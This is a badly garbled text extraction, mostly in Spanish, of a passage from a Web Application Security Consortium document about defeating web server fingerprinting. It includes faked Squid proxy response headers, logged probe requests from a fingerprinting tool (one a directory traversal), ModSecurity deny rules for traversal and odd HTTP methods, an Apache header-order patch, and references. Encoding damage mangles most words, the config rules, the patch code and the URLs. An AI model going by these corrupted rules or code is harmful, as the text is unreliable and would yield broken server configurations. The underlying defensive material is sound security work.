8eader set FECac!e LI*SS from GGG&noneDistent!ost&comM
(rror8eader set FECac!e LI*SS from
GGG&noneDistent!ost&comM

86
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'stas entradas a)aden KBiaL y KJ/CacheL a las cabeceras de
respuesta 733* para todas las respuestas# como se muestra a
continuacinM
Q telnet localhost F!
/r*ing 12A.!.!.1...
'onnected to localhost.
(scape character is =\T=.
4(7E / 4//</1.!
4//</1.1 2!! 8]
&er%er: .icroso1t#;;&/4.!
Eate: &un+ 3! .ar 2!!3 21:DC:4B -./
'ontent#5ocation: index.html.en
Jar*: negotiate+accept#language+accept#charset
/':: choice
2i%# 1.1 s>uid.5'ox4.coJ5%n4x.coJ
E&>uid/9.4.&TAK$E:G
L-%c"e# 1)&& f'oJ +++.nonexistent"ost.coJ
'ontent#5ength: 2BA3
'onnection: close
'sto provoca la ilusin de !ue usamos un servidor pro0y S!uid y
presentamos datos de web de un servidor ine0istente. 'sto podra
atraer al atacante a lanzar e0ploits para S!uid contra nuestro
servidor Apache# !ue desde luego seran un fracaso# o atacar la
m!uina especificada en la cabecera KJ/CacheL !ue en realidad no
e0iste.
*nstalar !erramientas de seuridad Geb de terceros
%nstalando aplicaciones o herramientas adicionales de seguridad
web# como (odSecurity o Server(as4# es posible interrumpir o
enga)ar las aplicaciones de identificacin de servidores web de hoy
en da# como 733*rint. Como se describe en los apartados de
87
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
e$emplo siguientes# estas herramientas probarn servidores web
ob$etivo con muchas peticiones distintas para intentar e iniciar una
respuesta especfica. A continuacin se muestran algunas de las
peticiones anormales !ue 733*rint enva al servidor webM
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
",O:].(/48E / 4//</1.!" D!1 344 "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"-(/ / ,O:]/1.!" 4!! 3F1 "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"get / 4//</1.!" D!1 33! "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"-(/ / 4//</!.F" 2!! 14DB "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"-(/ / 4//</1.2" 2!! 14DB "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"-(/ / 4//</3.!" 2!! 14DB "#" "#"
1C2.1BF.13C.1!1 # # S!F/,un/2!!4:11:21:4! #!4!!T
"-(/ /../../ 4//</1.!" 4!! 344 "#" "#"
Si ponemos en prctica una herramienta como (odSecurity para
servidores Apache# podemos crear filtros !ue cumplan el 6<C 733*#
!ue provocarn sobre estos peticiones anormales. A continuacin se
muestran entradas (odSecurity al fichero httpd.conf !ue pueden ser
usadasM
Q /his Nill return a 4!3 # )or>idden &tatus 'ode
1or all .od3&ecurit* actions
&ecFilte'Def%ultAction 6den4-lo!-st%tus#4086
Q /his Nill den* director* tra%ersals
&ecFilte' 6M.M./6

Q /his entr* 1orces compliance o1 the re$uest
88
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
method. 7n* re$uests that do :8/
Q start Nith either -(/P4(7EP<8&/ Nill >e denied.
/his Nill catch/trigger on
Q Kunk methods.
&ecFilte'&electi(e THEF.EN/E&T 6OPE,ETQHEADQPO&TG6
Q /his entr* Nill 1orce 4//< compliance to the end
portion o1 the re$uest. ;1
Q the re$uest does :8/ end Nith a %alid 4//<
%ersion+ then it Nill >e denied.
&ecFilte'&electi(e THEF.EN/E&T 6OHTTPM/E0M.RQ1M.0Q
1M.1G=6
(dicin de cdio fuente
'sta es la tarea de contramedida ms comple$a para la identificacin#
pero por otro lado# es la ms efectiva. 'l riesgo contra la recompensa
para esta tarea puede variar enormemente dependiendo de su nivel
de conocimiento de programacin o su ar!uitectura web.
=eneralizando# esta labor incluye la edicin de cdigo fuente del
servidor web de forma previa a la compilacin o con el actual cdigo
binario utilizando un editor binario. *ara servidores web de cdigo
abierto como Apache# esta tarea es mucho ms fcil ya !ue se tiene
acceso al cdigo.
1rdenacin de cabeceras [ A continuacin se muestra el parche de
cdigo fuente para el servidor Apache ?.A.@H !ue corregir el orden
de las cabeceras "A3'2S'6B'6 y tambi&n imitar los datos de
salida del m&todo 1*3%18S de %%S. 'ste parche actualiza el fichero
http\protocol.c file en el directorio 2apache\?.A.@H2src2main. La
seccin 1*3%18S devolver cabeceras !ue se encuentran
asociadas normalmente a respuestas de %%S. 'sto incluye las
cabeceras *ublic# "ASL# "AB y Cache/Control.
89
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
### http3protocol.c.orig .on 7pr 2B !2:11:DF
2!!4
??? http3protocol.c .on 7pr 2B !2:43:31 2!!4
II #1DCA+C ?1DCA+B II
/9 output the 4//</1.x &tatus#5ine 9/
ap3r%puts0r+ protocol+ " "+ r#>status3line+
'65)+ :O55H;

# /9 output the date header 9/
# ap3send3header31ield0r+ "Eate"+
ap3gm3timestr3F220r#>pool+ r#>re$uest3timeHH;
#
/9 keep the set#>*#prox* ser%er header+
otherNise
9 generate a neN ser%er header 9/
i1 0r#>prox*re$H W
II #1B12+B ?1B!C+C II
ap3send3header31ield0r+ "&er%er"+
ap3get3ser%er3%ersion0HH;
Y

? /9 output the date header 9/
? ap3send3header31ield0r+ "Eate"+
ap3gm3timestr3F220r#>pool+ r#>re$uest3timeHH;
?
/9 unset so Ne don=t send them again 9/
ap3ta>le3unset0r#>headers3out+ "Eate"H;
/9 7%oid >ogosit* 9/
ap3ta>le3unset0r#>headers3out+ "&er%er"H;
II #1A1B+A ?1A1B+C II
ap3>asic3http3header0rH;

ap3ta>le3setn0r#>headers3out+ "'ontent#
5ength"+ "!"H;
? ap3ta>le3setn0r#>headers3out+ "<u>lic"+
"8</;8:&+ /67'(+ -(/+ 4(7E+ E(5(/(+ <O/+ <8&/+
90
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'8<Z+ .8J(+ .]'85+ <68<);:E+ <68<<7/'4+ 58']+
O:58']+ &(76'4"H;
ap3ta>le3setn0r#>headers3out+ "7lloN"+
make3alloN0rHH;
? ap3ta>le3setn0r#>headers3out+ "'ache#'ontrol"+
"pri%ate"H;
ap3set3keepali%e0rH;

ap3ta>le3do00int 09H 0%oid 9+ const char 9+
const char 9HH ap3send3header31ield+
)eferencias
2.n &ntroduction to C11/ fingerprinting3
"ttp;##net)square.com#"ttprint#"ttprint<paper."tml
2Cyperte%t 1ransfer /rotocol )) C11/#I.I3
"ttp;##www.cis.o"io)state.edu#cgi)bin#rfc#rfcNMTK."tmlLsec)IP.QG
2CE./; . 1ec"nique and 1ool for Demote &dentification of C11/
*ervers3
"ttp;##seclab.cs.ucdavis.edu#papers#"map)t"esis.pdf
2&dentifying =eb *ervers; . first)loo9 into =eb *erver 8ingerprinting3
"ttp;##www.blac9"at.com#presentations#b")asia)MN#b")asia)MN)
grossman.pdf
2Eas9 Sour =eb *erver for 4n"anced *ecurity3
"ttp;##www.portKMsoftware.com#support#articles#mas9yourwebserver
2=eb &ntrusion 'etection and /revention3
"ttp;##www.modsecurity.org
2&&* oc9'own 1ool N.I3
"ttp;##www.microsoft.com#downloads#details.asp%R
8amily&'Z''4G48(M)77QM)PJ47)G.TI)
8'JXX'NQ('4(`displaylangZen
91
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
2UD*can 1ool3
"ttp;##www.microsoft.com#downloads#details.asp%R
8amily&'ZfPcXaJNP)cafa)PeKK)KcQJ)cGdXabedIKTQ`'isplayangZen
2*erverEas9 1ool3
"ttp;##www.portKMsoftware.com#products#servermas9#
92
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
:icencia
Este traba|o se encuentra ba|o a cenca Creatve Commons
Attrbuton Lcense. Para ver una copa de esta cenca, vste
http://creatvecommons.org/censes/by/2.5/
o enve una carta a Creatve Commons, 559 Nathan Abbott Way,
Stanford, Caforna 94305, USA.
93
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&

También podría gustarte